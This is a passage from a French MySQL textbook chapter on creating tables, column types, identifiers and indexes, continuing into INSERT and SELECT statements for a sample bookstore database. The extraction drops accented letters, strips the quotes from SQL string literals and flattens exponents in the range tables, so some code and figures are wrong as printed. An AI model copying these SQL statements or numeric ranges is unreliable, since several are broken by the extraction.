maximale existant dans la colonne, incrmente de 1. Cette caractristique ne peut tre


utilise quune fois dans chaque table. Les colonnes qui spcifient AUTO INCREMENT
doivent tre indexes.
Le mot-cl PRIMARY KEY, lorsquil est indiqu aprs un nom de colonne, indique que
cette colonne est la cl primaire de la table. Les entres de cette colonne doivent tre
uniques. MySQL indexe automatiquement cette colonne. Vous remarquerez que, lorsque nous nous en sommes servis avec idclient dans la table clients, nous lavons
utilis avec AUTO INCREMENT. Lindexage automatique des cls primaires soccupe des
index ncessaires pour AUTO INCREMENT.
PRIMARY KEY ne peut apparatre quune seule fois dans la dfinition dune table. La
clause PRIMARY KEY la fin de linstruction commandes livres utilise donc une autre
forme puisque la cl primaire de cette table est forme de deux colonnes pour lesquelles
nous naurions pas eu le droit de rpter PRIMARY KEY. Notons que cette cl de deux
colonnes cre galement un index reposant sur les deux colonnes la fois.
UNSIGNED aprs un type entier signifie quil ne peut pas prendre une valeur ngative.

Analyse des types de colonnes


Prenons comme exemple la premire table :
create table clients
( idclient int unsigned not null auto_increment primary key,
nom char(50) not null,
adresse char(100) not null,
ville char(30) not null
);

Lorsquune table est cre, il faut choisir le type de chaque colonne.


Pour la table clients, nous avons bien quatre colonnes, comme lindiquait notre
schma. La premire colonne, idclient, correspond la cl primaire, que nous avons
indique directement. Nous avons choisi quelle contiendrait des nombres entiers (cest-dire des donnes de type int) et que ces identifiants seraient non signs (de type unsi
gned). Nous nous sommes galement servis de auto increment, pour que MySQL
puisse grer ces informations notre place : cela fait toujours une chose de moins faire.
Toutes les autres colonnes contiennent des chanes de caractres, cest pourquoi nous
avons choisi le type char. Ce type indique des champs de largeur fixe. Cette taille est
donne entre crochets, donc, par exemple, nom peut contenir jusqu cinquante caractres.
Ce type de donnes alloue cinquante caractres pour chaque entre, mme si tous les
caractres ne sont pas utiliss. MySQL compltera alors les donnes avec des espaces
pour les justifier sur cinquante caractres. Nous aurions pu choisir le type varchar, qui
permet dallouer uniquement la mmoire ncessaire pour chaque champ (plus un octet).

Chapitre 9

Cration dune base de donnes web

247

Une fois encore, il sagit dun petit compromis : varchar utilise moins de place, mais
char est plus rapide.
Vous remarquerez que toutes les colonnes sont dclares comme tant NOT NULL. Il
sagit dune petite optimisation quil ne faut pas hsiter mettre en uvre lorsque cest
possible.
Nous reviendrons sur les questions doptimisation au Chapitre 12.
La syntaxe de certaines instructions CREATE est lgrement diffrente. Examinons maintenant la table commandes:
create table commandes
( idcommande int unsigned not null auto_increment primary key,
idclient int unsigned not null,
montant float(6,2),
date date not null
);

La colonne montant est indique comme un nombre virgule flottante de type float.
Avec la plupart des types de donnes flottantes, il est possible de prciser la largeur de
laffichage et le nombre de chiffres aprs la virgule. Dans ce cas, le montant des
commandes sera en euros, cest pourquoi nous avons choisi une largeur assez importante (6) et deux chiffres dcimaux, pour les centimes.
La colonne date possde le type de donnes date.
Dans cette table particulire, toutes les colonnes (sauf montant) sont marques avec NOT
NULL. En effet, lorsquune commande est entre dans la base de donnes, nous devons
lajouter dans la table des commandes, puis ajouter les lments correspondants dans
commandes livres avant de traiter la commande. Il est donc tout fait possible que
nous ne connaissions pas le montant de la commande lorsque celle-ci est effectue,
cest pourquoi nous lautorisons tre NULL.
La table livres possde des caractristiques similaires :
create table livres
( isbn char(13) not null primary key,
auteur char(50),
titre char(100),
prix float(4,2)
);

Ici, nous navons pas besoin de produire une cl primaire parce que les numros ISBN
sont crs un autre endroit. Les autres champs peuvent tre NULL, puisquune librairie
peut connatre le code ISBN dun livre avant de connatre ses autres caractristiques
(titre, auteur ou prix).

248

Partie II

Utilisation de MySQL

La table livres commandes montre comment crer une cl primaire sur plusieurs colonnes :
create table livres_commandes
( idcommande int unsigned not null,
isbn char(13) not null,
quantite tinyint unsigned,
primary key (idcommande, isbn)
);

Nous avons indiqu les quantits de livres avec TINYINT UNSIGNED, qui peut contenir
des nombres entiers positifs compris entre 0 et 255.
Comme nous lavons dj mentionn, les cls primaires rparties sur plusieurs colonnes
doivent tre spcifies avec une clause de cl primaire particulire. Cest ce que nous
utilisons ici.
Pour terminer, voici la table commentaires livres :
create table commentaires_livres
(
isbn char(13) not null primary key,
commentaire text
);

Cette table utilise un nouveau type de donnes, text, que nous navons pas encore
mentionn. Ce type est intressant pour les chanes de caractres plus longues, comme
un commentaire ou un article. Il en existe plusieurs variantes, que nous examinerons un
peu plus loin dans ce chapitre.
Pour comprendre plus finement la cration des tables, intressons-nous aux noms des
colonnes et aux identificateurs en gnral, puis aux types de donnes que nous pouvons
choisir pour les colonnes. Mais, pour linstant, examinons dabord la base de donnes
que nous venons de crer.
Examiner la base de donnes avec SHOW et DESCRIBE
Ouvrez une session avec le moniteur MySQL et slectionnez la base de donnes
livres. Vous pouvez afficher les tables de cette base de donnes en saisissant la
commande suivante :
mysql> show tables;

MySQL affiche alors la liste de toutes les tables de cette base de donnes :
+---------------------+
| Tables in livres
|
+---------------------+
| clients
|
| commandes
|
| commentaires_livres |
| livres
|
| livres_commandes
|
+---------------------+
5 rows in set (0.06 sec)

Chapitre 9

Cration dune base de donnes web

249

Vous pouvez galement vous servir de la commande show pour afficher la liste des
bases de donnes, par exemple avec la commande suivante :
mysql> show databases;

Si vous ne possdez pas le privilge SHOW DATABASES, vous ne verrez que la liste des
bases de donnes pour lesquelles vous possdez des privilges.
Pour afficher plus dinformations sur une table particulire, par exemple la table
livres, servez-vous de DESCRIBE :
mysql> describe livres;

MySQL affiche alors les informations que vous avez fournies lors de la cration de la
base de donnes :
+--------+------------+------+-----+---------+-------+
| Field | Type
| Null | Key | Default | Extra |
+--------+------------+------+-----+---------+-------+
| isbn
| char(13)
| NO
| PRI | NULL
|
|
| auteur | char(50)
| YES |
| NULL
|
|
| titre | char(100) | YES |
| NULL
|
|
| prix
| float(4,2) | YES |
| NULL
|
|
+--------+------------+------+-----+---------+-------+
4 rows in set (0.00 sec)

Ces commandes sont utiles pour vous rappeler le type de donnes dune colonne ou
pour parcourir une base de donnes que vous navez pas cre vous-mme.
Cration dindex
Nous avons dj rapidement fait mention des index car la dsignation de cls primaires
cre automatiquement des index sur les colonnes concernes.
Lun des problmes courants auxquels sont confronts les nouveaux utilisateurs MySQL
concerne le regret que ces derniers expriment au sujet des mauvaises performances de
cette base de donnes quon leur a pourtant annonce tre rapide comme lclair. Ce
problme de performances survient parce quils nont pas cr dindex sur leur base de
donnes (il est en effet possible de crer des tables sans cl primaire et sans index).
Pour commencer, les index qui ont t automatiquement crs pour vous feront
laffaire. Si vous constatez que vous devez excuter un grand nombre de requtes sur
une colonne qui nest pas une cl, il peut tre souhaitable dajouter un index sur cette
colonne afin damliorer les performances. Vous pouvez le faire avec linstruction
CREATE INDEX, dont la syntaxe est la suivante :
CREATE [UNIQUE|FULLTEXT] INDEX nom_index
ON nom_table (nom_colonne_index [(longueur)] [ASC|DESC], ...])

Les index FULLTEXT sont utiliss pour indexer des champs texte. Nous reviendrons sur
ce sujet au Chapitre 13.

250

Partie II

Utilisation de MySQL

Le champ facultatif longueur permet de prciser que seuls les longueur premiers
caractres du champ doivent tre indexs. Vous pouvez galement indiquer si lindex
doit tre croissant (ASC) ou dcroissant (DESC) ; par dfaut, les index sont croissants.

Identificateurs MySQL
Il existe cinq types didentificateurs dans MySQL : les bases de donnes, les tables, les
colonnes, les index, que nous connaissons dj, et les alias, que nous tudierons au
prochain chapitre.
Avec MySQL, les bases de donnes correspondent des rpertoires et les tables, des
fichiers du systme de fichiers sous-jacent. Cette correspondance a un effet direct sur les
noms que vous pouvez leur donner. Elle influe galement sur la casse de ces noms : si votre
systme dexploitation tient compte de la diffrence entre les majuscules et les minuscules
dans les noms des rpertoires et des fichiers, les noms des bases de donnes et des tables
seront galement sensibles cette diffrence. Unix, par exemple, fait la distinction entre
les majuscules et les minuscules, ce qui nest pas le cas de Windows. Quel que soit le
systme dexploitation sous-jacent, les noms des colonnes et des alias ne tiennent en
revanche jamais compte des majuscules et des minuscules, bien que vous ne puissiez
pas utiliser diffrentes casses du mme nom dans une mme instruction SQL.
En outre, lemplacement des rpertoires et des fichiers contenant vos donnes dpend
de votre configuration. Vous pouvez connatre cet emplacement grce lutilitaire
mysqladmin :
> mysqladmin -h hte -u root -p variables

Recherchez la variable datadir dans le rsultat de la commande prcdente.


Le Tableau 9.4 prsente un rsum des diffrents identificateurs. Il faut galement
savoir quil est impossible dutiliser les caractres ASCII 0 et 255 ni lapostrophe dans
les identificateurs.
Tableau 9.4 : Identificateurs MySQL

Type

Longueur Majuscules/
maximale minuscules

Caractres autoriss

Bases
64
de donnes

Comme le SE

Nimporte quel caractre autoris dans les noms des


rpertoires de votre systme dexploitation (SE),
sauf les caractres /, \ et .

Table

Comme le SE

Nimporte quel caractre autoris dans les noms des


fichiers de votre systme dexploitation, sauf les
caractres / et .

64

Chapitre 9

Cration dune base de donnes web

251

Tableau 9.4 : Identificateurs MySQL (suite)

Type

Longueur Majuscules/
maximale minuscules

Caractres autoriss

Colonne

64

Non

Nimporte lesquels

Index

64

Non

Nimporte lesquels

Alias

255

Non

Nimporte lesquels

Ces rgles sont extrmement souples. Vous pouvez mme utiliser des mots rservs, ou
des caractres spciaux, la seule limitation tant que si vous utilisez cette caractristique il
faudra placer vos identificateurs entre apostrophes inverses (Alt Gr+ sur les claviers
franais pour PC, la touche gauche de Entre sur les claviers franais pour Mac) :
create database `create database`;

Naturellement, cette libert supplmentaire ne doit tre utilise qu bon escient. Ce


nest pas parce que vous pouvez appeler une base de donnes `create database` quil
faut le faire. Ce principe reste valable dans nimporte quel type de programmation : il
faut toujours utiliser des identificateurs vocateurs.

Types des colonnes


Les colonnes des tables MySQL peuvent tre des nombres, des dates et des heures, ou
des chanes de caractres. Chacune de ces catgories compte plusieurs types diffrents
que nous allons rsumer ici. Au Chapitre 12, nous tudierons leurs avantages et leurs
inconvnients.
Il existe plusieurs variantes de ces trois catgories en fonction de leur taille de stockage.
Lorsque lon choisit un type de colonne, il faut gnralement choisir le type le plus petit
dans lequel vos donnes peuvent entrer.
Pour de nombreux types, vous pouvez spcifier la longueur maximale daffichage (qui
correspond au paramtre M dans les tableaux suivants) lorsque vous crez une colonne. Si
ce paramtre est facultatif, il est indiqu entre crochets. La valeur maximale de M est 255.
Dans les descriptions qui suivent, les autres valeurs facultatives sont prsentes entre
crochets.
Types numriques
Les types numriques sont des nombres entiers ou des nombres virgule flottante. Pour
les nombres virgule flottante, vous pouvez prciser le nombre de chiffres aprs la
virgule (paramtre D). La valeur maximale de D est la plus petite valeur entre 30 et M 2

252

Partie II

Utilisation de MySQL

(cest--dire la longueur maximale daffichage moins deux : un caractre pour le point


et un pour la partie entire du nombre).
Pour les types entiers, vous pouvez utiliser lattribut UNSIGNED pour naccepter que des
nombres positifs, comme le montre le Listing 9.1.
Pour tous les types numriques, vous pouvez utiliser lattribut ZEROFILL. Lorsque les
valeurs dune colonne ZEROFILL sont affiches, elles sont justifies gauche avec des 0.
Une colonne avec lattribut ZEROFILL est automatiquement considre comme UNSIGNED.
Les types entiers sont prsents dans le Tableau 9.5, qui donne la fois les intervalles
signs et non signs pour les valeurs possibles.
Tableau 9.5 : Types de donnes entiers

Type

Intervalle

TINYINT[(M)]

127..128, ou 0..255

Taille (octets) Description


1

Entiers trs courts

BIT

Synonyme de TINYINT

BOOL

Synonyme de TINYINT

SMALLINT[(M)]

32 768..32 767, ou 0..65 535

Entiers courts

MEDIUMINT[(M)]

8 388 608.. 8 388 607, ou


0..16 777 215

Entiers de taille moyenne

INT[(M)]

231..231 1, ou 0..232 1

Entiers classiques
Synonyme de INT

INTEGER[(M)]
BIGINT[(M)]

263..263 1, ou 0..264 1

Entiers larges

Les types virgule flottante sont prsents dans le Tableau 9.6.


Tableau 9.6 : Types de donnes virgule flottante

Type

Intervalle

Taille
(octets)

Description

FLOAT
(prcision)

Dpend de la prcision

Variable Peut tre utilis pour reprsenter


des nombres virgule flottante
en simple ou double prcision.

FLOAT[(M,D)]

1.175494351E-38,
3.402823466E+38

Nombres virgule flottante en


simple prcision. quivalent
FLOAT(4), mais avec une largeur
daffichage et un nombre de
chiffres aprs la virgule.

Chapitre 9

Cration dune base de donnes web

253

Tableau 9.6 : Types de donnes virgule flottante (suite)

Type

Intervalle

Taille
(octets)

DOUBLE[(M,D)]

1.7976931348623157E+308, 8
2.2250738585072014E-308

Description
Nombres virgule flottante en
double prcision. quivalent
FLOAT(8), mais avec une largeur
daffichage et un nombre de
chiffres aprs la virgule.

DOUBLE PRECISION Comme ci-dessus


[(M,D)]

Synonyme de DOUBLE[(M, D)].

REAL[(M,D)]

Comme ci-dessus

Synonyme de DOUBLE[(M, D)].

DECIMAL
[(M[,D])]

Variable

NUMERIC [(M,D)]

Comme ci-dessus

Synonyme de DECIMAL.

DEC[(M,D)]

Comme ci-dessus

Synonyme de DECIMAL.

FIXED[(M,D)]

Comme ci-dessus

Synonyme de DECIMAL.

M+2

Nombres virgule flottante


enregistr comme un type char.
Lintervalle dpend de M, la
largeur daffichage.

Types de dates et dheures


MySQL prend en charge plusieurs types de dates et dheures, prsents dans le
Tableau 9.7. Grce tous ces types, vous pouvez saisir vos donnes sous la forme dune
chane de caractres ou sous un format numrique. Une colonne TIMESTAMP dune ligne
particulire prend automatiquement la date et lheure de la dernire opration sur cette
ligne, moins que vous ne la dfinissiez manuellement. Cette caractristique est trs
utile pour le suivi des transactions.
Tableau 9.7 : Types de dates et dheures

Type

Intervalle

Description

DATE

1000-01-01, 9999-12-31

Une date, affiche au format YYYY MM DD.

TIME

-838:59:59, 838:59:59

Une heure, affiche au format HH:MM:SS.


Vous remarquerez que cet intervalle est
beaucoup plus grand que ce que lon utilise
ordinairement.

DATETIME

1000-01-01 00:00:00,
9999-12-31 23:59:59

Une date et une heure, affiches au format


YYYY MM DDHH:MM:SS.

254

Partie II

Utilisation de MySQL

Tableau 9.7 : Types de dates et dheures (suite)

Type

Intervalle

Description

TIMESTAMP[(M)]

1970-01-01 00:00:00

Une date complte (ou tiquette temporelle),


utile pour identifier les transactions. Le format
daffichage dpend de la valeur de M (voir le
Tableau 9.8). La valeur maximale dpend de
la limite dUnix, qui se situe parfois en 2037.

YEAR[(2|4)]

70-69 (1970-2069),
1901-2155

Une anne, au format 2 ou 4 chiffres. Chacun


de ces formats correspond un intervalle.

Le Tableau 9.8 prsente les diffrents types daffichages de TIMESTAMP.


Tableau 9.8 : Les types daffichages de TIMESTAMP

Type spcifi

Affichage

TIMESTAMP

YYYYMMDDHHMMSS

TIMESTAMP(14)

YYYYMMDDHHMMSS

TIMESTAMP(12)

YYMMDDHHMMSS

TIMESTAMP(10)

YYMMDDHHMM

TIMESTAMP(8)

YYYYMMDD

TIMESTAMP(6)

YYMMDD

TIMESTAMP(4)

YYMM

TIMESTAMP(2)

YY

Types de chanes
Il existe trois types de chanes. Tout dabord les chanes classiques, cest--dire des
chanes de texte courtes. Ces chanes correspondent aux types CHAR (longueur fixe) et
VARCHAR (longueur variable). Vous pouvez spcifier la largeur de ces chanes. Les
colonnes de type CHAR sont justifies avec des espaces pour atteindre la taille indique,
alors que la taille de stockage des colonnes VARCHAR varie automatiquement en fonction
de leur contenu. MySQL supprime les espaces placs la fin des CHAR lorsquils sont
lus et ceux des VARCHAR lorsquils sont stocks. Le choix entre ces deux types revient
faire un compromis entre lespace de stockage et la vitesse. Nous y reviendrons au
Chapitre 12.

Chapitre 9

Cration dune base de donnes web

255

Il existe galement les types TEXT et BLOB, dans diffrentes tailles. Ces types correspondent des donnes texte ou binaires plus longues. Les BLOB sont des "objets binaires de
grande taille" (Binary Large OBjects). Ils peuvent contenir ce que vous voulez, comme
des images ou du son.
Dans la pratique, les colonnes BLOB et TEXT sont identiques, sauf que les colonnes BLOB
tiennent compte de la diffrence majuscules/minuscules, contrairement aux colonnes TEXT.
Comme ces types de colonnes peuvent contenir des donnes trs volumineuses, leur
emploi ncessite certaines prcautions. Nous voquerons ce problme au Chapitre 12.
Le troisime groupe contient deux types spciaux, SET et ENUM. Le type SET permet de
prciser que les valeurs dune colonne doivent faire partie dun certain ensemble de
valeurs. Les valeurs de la colonne peuvent contenir plusieurs valeurs provenant de cet
ensemble. Vous pouvez avoir au maximum 64 lments provenant de lensemble spcifi.
ENUM ressemble beaucoup SET, sauf que les colonnes de ce type ne peuvent contenir
quune seule des valeurs indiques, ou NULL. Par ailleurs, une numration ne peut pas
contenir plus de 65 535 lments.

Les types de chanes sont rsums dans les Tableaux 9.9, 9.10 et 9.11. Le Tableau 9.9
prsente les types de chanes classiques.
Tableau 9.9 : Types de chanes classiques

Type

Intervalle Description

[NATIONAL] CHAR(M)
[BINARY | ASCII |
UNICODE]

0 255

Chane de taille fixe, de longueur M, o M est compris


entre 0 et 255. Le mot-cl NATIONAL prcise quon doit
utiliser le jeu de caractres par dfaut. Cela correspond
au comportement par dfaut de MySQL, mais il peut
galement tre prcis parce quil fait partie du standard
SQL ANSI. Le mot-cl BINARY indique que les donnes
doivent tre traites en respectant les majuscules et les
minuscules (le comportement par dfaut consiste
ignorer la casse). Le mot-cl ASCII prcise que la
colonne utilisera le jeu de caractres latin1. Le mot-cl
UNICODE indique que le jeu de caractres sera ucs.

CHAR [NATIONAL]

Synonyme de CHAR(1).

[NATIONAL] VARCHAR(M) 1 255


[BINARY]

Comme ci-dessus, sauf que la longueur est variable.

Le Tableau 9.10 rsume les types TEXT et BLOB. La longueur maximale dun champ
TEXT (en caractres) correspond la taille maximale en octets des fichiers qui doivent
tre enregistrs dans ce champ.

256

Partie II

Utilisation de MySQL

Tableau 9.10 : Types TEXT et BLOB

Type

Longueur maximale (caractres)

Description

TINYBLOB

28 1 (cest--dire 255)

Un petit champ BLOB

TINYTEXT

28

Un petit champ TEXT

BLOB

216 1 (cest--dire 65 535)

Un champ BLOB de taille normale

TEXT

216

1 (cest--dire 65 535)

Un champ TEXT de taille normale

MEDIUMBLOB

224 1 (cest--dire 16 777 215)

Un champ BLOB de taille moyenne

MEDIUMTEXT

224

Un champ TEXT de taille moyenne

LONGBLOB

232 1 (cest--dire 4 294 967 295)

Un champ BLOB de grande taille

LONGTEXT

232

Un champ TEXT de grande taille

1 (cest--dire 255)

1 (cest--dire 16 777 215)


1 (cest--dire 4 294 967 295)

Le Tableau 9.11 prsente les types ENUM et SET.


Tableau 9.11 : Types SET et ENUM

Type

Maximum de valeurs Description


dans lensemble

ENUM(valeur1, valeur2,...) 65 535

SET(valeur1, valeur2,...)

64

Les colonnes de ce type ne


peuvent contenir quune seule
des valeurs numres, ou NULL.
Les colonnes de ce type peuvent
contenir un ensemble de valeurs
parmi celles de la liste, ou NULL.

Pour aller plus loin


Pour plus dinformations, reportez-vous au chapitre du manuel en ligne qui concerne la
configuration dune base de donnes, sur le site http://www.mysql.com/.

Pour la suite
Maintenant que vous savez comment crer des utilisateurs, des bases de donnes et des
tables, vous pouvez vous intresser linteraction avec la base de donnes. Nous
verrons au prochain chapitre comment insrer des donnes dans des tables, comment
les mettre jour, les supprimer et comment interroger la base.

10
Travailler avec une base
de donnes MySQL
Dans ce chapitre, nous prsenterons SQL (Structured Query Language) et nous verrons
comment lutiliser pour interroger des bases de donnes. Nous continuerons le dveloppement de la base de donnes Book-O-Rama en apprenant insrer, supprimer et
mettre jour des donnes. Nous verrons galement comment interroger la base de
donnes.
Nous commencerons par prsenter SQL et verrons en quoi cet outil peut nous tre utile.
Si vous navez pas encore configur la base de donnes de Book-O-Rama, vous devez
le faire avant dexcuter les requtes SQL de ce chapitre. Vous trouverez tous les dtails
de cette procdure au Chapitre 9.

Quest-ce que SQL ?


SQL signifie Structured Query Language, ou "langage de requtes structur". Cest le
langage le plus employ par les systmes de gestion de bases de donnes relationnelles
(SGBDR) pour stocker et rcuprer les donnes. Il est utilis par des systmes de bases
de donnes comme MySQL, Oracle, PostgreSQL, Sybase et Microsoft SQL Server,
pour ne citer queux.
Bien quil y ait pour SQL un standard ANSI que les systmes de bases de donnes
comme MySQL sefforcent de respecter, il existe toutefois quelques diffrences subtiles entre ce SQL standard et le SQL de MySQL. Il est prvu que certaines dentre elles
soient rsorbes dans les versions futures afin de se rapprocher du standard, mais
dautres sont dlibres. Nous signalerons les plus importantes mesure de notre
expos. Pour une liste exhaustive des diffrences entre le SQL version ANSI et celui de
MySQL, consultez le manuel en ligne de MySQL. Vous trouverez cette page lURL

258

Partie II

Utilisation de MySQL

suivante, ainsi qu plusieurs autres endroits : http://dev.mysql.com/doc/refman/5.1/


en/compatibility.html.
Vous avez peut-tre dj entendu employer les termes langage de dfinition des donnes
(LDD) pour la dfinition des bases de donnes et langage de manipulation des
donnes (LMD) pour linterrogation des bases de donnes. SQL comprend les deux.
Au Chapitre 9, nous avons prsent la dfinition des donnes (LDD) en SQL et nous
nous en sommes donc dj un peu servis. Le LDD permet de mettre en place une base
de donnes.
La partie LMD de SQL sert bien plus souvent, puisquon lutilise chaque fois que lon
enregistre ou que lon lit des donnes dans une base de donnes.

Insertion de donnes dans une base de donnes


Avant de pouvoir travailler avec une base de donnes, vous devez y enregistrer des
informations. La plupart du temps, vous vous servirez de linstruction INSERT.
Rappelez-vous que les SGBDR contiennent des tables qui renferment leur tour des
lignes de donnes, organises en colonnes. Chaque ligne dune table dcrit normalement un objet du mode rel ou une relation, et les valeurs dune colonne pour une ligne
donne correspondent aux informations relatives un objet rel particulier. Nous
pouvons nous servir de linstruction INSERT pour ajouter des lignes de donnes dans la
base de donnes.
La syntaxe de INSERT est la suivante :
INSERT [INTO] table [(colonne1, colonne2, colonne3,...)] VALUES
(valeur1, valeur2, valeur3,...);

Pour, par exemple, insrer une ligne dans la table Clients de Book-O-Rama, vous
pouvez saisir la commande suivante :
insert into clients values
(NULL, Julie Dupont, 25 rue noire, Toulouse);

Vous remarquerez que nous avons remplac table par le nom de la table dans laquelle
nous souhaitions placer nos donnes et que nous avons plac les valeurs insrer dans
la liste qui suit la clause values. Toutes les valeurs de cet exemple ont t mises entre
apostrophes simples. Avec MySQL, les chanes de caractres doivent toujours tre
mises entre apostrophes simples ou doubles (dans ce livre, nous utiliserons ces deux
types dapostrophes). Les nombres et les dates nen ont pas besoin.
Linstruction INSERT mrite quelques commentaires.
Les valeurs indiques sont utilises pour remplir la table, dans lordre o elles sont
fournies. Cependant, si vous souhaitez remplir uniquement certaines colonnes ou si

Chapitre 10

Travailler avec une base de donnes MySQL

259

vous voulez donner les valeurs dans un ordre diffrent, vous pouvez prciser le nom des
colonnes dans linstruction. Par exemple :
insert into clients (nom, ville) values
(Melissa Martin, Albi);

Cette approche nest intressante que si vous possdez des donnes partielles pour un
enregistrement particulier ou si certains champs de lenregistrement sont facultatifs.
Voici une autre syntaxe similaire :
insert into clients
set nom = Michel Archer,
adresse = "12 Avenue plate ,
ville = Montauban;

Vous remarquerez galement que nous avons donn la valeur NULL la colonne
idclient lorsque nous avons ajout Julie Dupont et que nous avons ignor cette
colonne lorsque nous avons ajout les autres clients. Vous vous rappelez peut-tre que,
lorsque nous avons configur la base de donnes, nous avons indiqu que idclient
tait la cl primaire de la table clients : cette procdure peut donc vous sembler
trange. Cependant, nous avions galement attribu lattribut AUTO INCREMENT ce
champ, ce qui signifie que si nous insrons une ligne avec la valeur NULL (ou aucune
valeur) dans ce champ, MySQL produira le nombre suivant dans la squence dautoincrmentation et linsrera automatiquement notre place. Cette fonctionnalit est
particulirement apprciable.
Il est galement possible dinsrer plusieurs lignes dun seul coup dans une table.
Chaque ligne doit tre mise entre parenthses et les ensembles de parenthses doivent
tre spars par des virgules.
Linstruction INSERT na que peu de variantes. Aprs le mot INSERT, vous pouvez ajouter les mots-cls LOW PRIORITY ou DELAYED. Le premier indique que le systme peut
attendre et effectuer linsertion plus tard, lorsquil ny aura plus de lecture dans la table.
Le second, que les donnes insres seront mises en tampon. Si le serveur est occup,
vous pouvez donc continuer excuter des requtes au lieu davoir attendre que
lopration INSERT soit termine.
Immdiatement aprs ces mots-cls, vous pouvez ventuellement ajouter IGNORE pour
quune tentative dinsertion de lignes produisant une cl duplique supprime ces lignes
sans prvenir. Lautre solution consiste utiliser ON DUPLICATE KEY UPDATE expression
la fin de linstruction INSERT. Cette clause permet de modifier la valeur duplique en
utilisant une instruction UPDATE classique (voir plus loin dans ce chapitre).
Nous avons runi quelques donnes pour remplir la base de donnes grce quelques
instructions INSERT qui se servent de lapproche multiligne que nous venons dvoquer.

260

Partie II

Utilisation de MySQL

Le script correspondant se trouve sur le site Pearson, dans le fichier


\chapitre10\insertion_livres.sql. Vous le trouverez galement dans le Listing 10.1.
Listing 10.1 : insertions_livres.sql Script SQL de remplissage des tables de Book-O-Rama
use livres;
insert into clients values
(3, Julie Dupont, 25 rue noire, Toulouse),
(4, Alain Wong, 147 Avenue Haines, Bordeaux),
(5, Michelle Arthur, 357 rue de Paris, Ramonville);
insert into
(NULL, 3,
(NULL, 1,
(NULL, 2,
(NULL, 3,

commandes values
69.98, 2007-04-02),
49.99, 2007-04-15),
74.98, 2007-04-19),
24.99, 2007-05-01);

insert into livres values


(0-672-31697-8, Michael Morgan,
Java 2 for Professional Developers, 34.99),
(0-672-31745-1, Thomas Down, Installing Debian GNU/Linux, 24.99),
(0-672-31509-2, Pruitt, et al., Teach Yourself GIMP in 24 Hours,
24.99),
(0-672-31769-9, Thomas Schenk,
Caldera OpenLinux System Administration Unleashed, 49.99);
insert into livres_commandes values
(1, 0-672-31697-8, 2),
(2, 0-672-31769-9, 1),
(3, 0-672-31769-9, 1),
(3, 0-672-31509-2, 1),
(4, 0-672-31745-1, 3);
insert into commentaires_livres values
(0-672-31697-8, Le livre de Morgan est bien crit et va bien
au-del de la plupart des livres sur Java.);

Vous pouvez excuter ce script en ligne de commande en lenvoyant MySQL via un


pipeline, comme ici:
> mysql -h hte -u bookorama -p livres < path/vers/insertions_livres.sql

Rcupration des donnes dans la base de donnes


Linstruction principale de SQL est SELECT. Elle permet de rcuprer des donnes dans
une base de donnes en slectionnant les lignes qui correspondent certains critres.
Linstruction SELECT reconnat beaucoup doptions et peut tre utilise de plusieurs
manires trs diffrentes.

Chapitre 10

Travailler avec une base de donnes MySQL

261

Voici la syntaxe dune instruction SELECT :


SELECT [options] lments
[INTO fichier]
FROM tables
[ WHERE conditions ]
[ GROUP BY regroupement ]
[ HAVING proprits ]
[ ORDER BY liste_tri]
[LIMIT limite ]
[PROCEDURE nom_proc(paramtres)]
[options de verrouillage]
;

Nous reviendrons un peu plus loin sur toutes les clauses de cette instruction. Pour
linstant, examinons une requte sans aucune clause facultative, cest--dire une
requte simple qui slectionne des lments dans une table particulire. Typiquement,
ces lments sont des colonnes de la table, mais il peut galement sagir des rsultats de
nimporte quelle expression MySQL. Nous reviendrons sur les plus utiles un peu plus
loin dans cette section. Cette requte renvoie le contenu des colonnes nom et ville de la
table clients :
select nom, ville
from clients;

Cette requte renvoie le rsultat suivant, en supposant que vous ayez saisi les donnes
du Listing 10.1 et que vous ayez excut les deux autres instructions INSERT cites
titre dexemple :
+-----------------+--------------------+
| nom
| ville
|
+-----------------+--------------------+
| Julie Dupont
| Toulouse
|
| Alain Wong
| Bordeaux
|
| Michelle Arthur | Ramonville
|
| Melissa Martin | Albi
|
| Michal Archer
| Montauban
|
+-----------------+--------------------+

Comme vous pouvez le constater, nous obtenons une table qui contient les lments
slectionns (nom et ville), partir de la table que nous avons spcifie, clients. Ces
donnes sont issues de toutes les lignes de la table clients.
Vous pouvez indiquer autant de colonnes que vous le souhaitez, en les mentionnant
aprs le mot-cl select. Vous pouvez aussi spcifier dautres lments, comme le joker
(*), qui symbolise toutes les colonnes de la table concerne. Pour, par exemple, afficher
toutes les colonnes et toutes les lignes de la table livres commandes, nous pouvons
utiliser linstruction suivante :
select *
from livres_commandes;

262

Partie II

Utilisation de MySQL

Cette commande renvoie la sortie suivante :


+------------+---------------+----------+
| idcommande | isbn
| quantite |
+------------+---------------+----------+
|
1 | 0-672-31697-8 |
2 |
|
2 | 0-672-31769-9 |
1 |
|
3 | 0-672-31769-9 |
1 |
|
3 | 0-672-31509-2 |
1 |
|
4 | 0-672-31745-1 |
3 |
+------------+---------------+----------+

Rcuprer des donnes ayant des critres spcifiques


Pour accder un sous-ensemble de lignes dune table, nous devons indiquer plusieurs
critres de slection laide de la clause WHERE. Par exemple :
select *
from commandes
where idclient = 3;

slectionne toutes les colonnes de la table commandes, mais uniquement pour les lignes
dont le idclient vaut 3. Voici le rsultat obtenu :
+------------+----------+---------+------------+
| idcommande | idclient | montant | date
|
+------------+----------+---------+------------+
|
1 |
3 |
69.98 | 2007-04-02 |
|
4 |
3 |
24.99 | 2007-05-01 |
+------------+----------+---------+------------+

La clause WHERE prcise les critres utiliss pour slectionner les lignes. Dans notre
exemple, nous avons slectionn les lignes dont le idclient vaut 3. En SQL, cest le
signe gal qui permet de tester lgalit : cest donc diffrent de PHP et cest une source
derreur frquente lorsquon utilise conjointement ces deux langages.
Outre le test dgalit, MySQL dispose de plusieurs oprateurs de comparaison et
dexpressions rgulires, dont les plus courants sont prsents dans le Tableau 10.1.
Notez bien quil ne sagit pas dune liste complte ; en cas de besoin, reportez-vous au
manuel de MySQL.
Tableau 10.1 : Les oprateurs de comparaison utiles dans les clauses WHERE

Oprateur

Nom (si possible)

Exemple

Description

galit

idclient = 3

Teste si deux valeurs sont gales.

>

Suprieur

montant > 60.00

Teste si une valeur est suprieure


une autre.

<

Infrieur

montant < 60.00

Teste si une valeur est infrieure


une autre.

Chapitre 10

Travailler avec une base de donnes MySQL

263

Tableau 10.1 : Les oprateurs de comparaison utiles dans les clauses WHERE (suite)

Oprateur

Nom (si possible)

Exemple

Description

>=

Suprieur ou gal

montant >= 60.00

Teste si une valeur est suprieure


ou gale une autre.

<=

Infrieur ou gal

montant <= 60.00

Teste si une valeur est infrieure


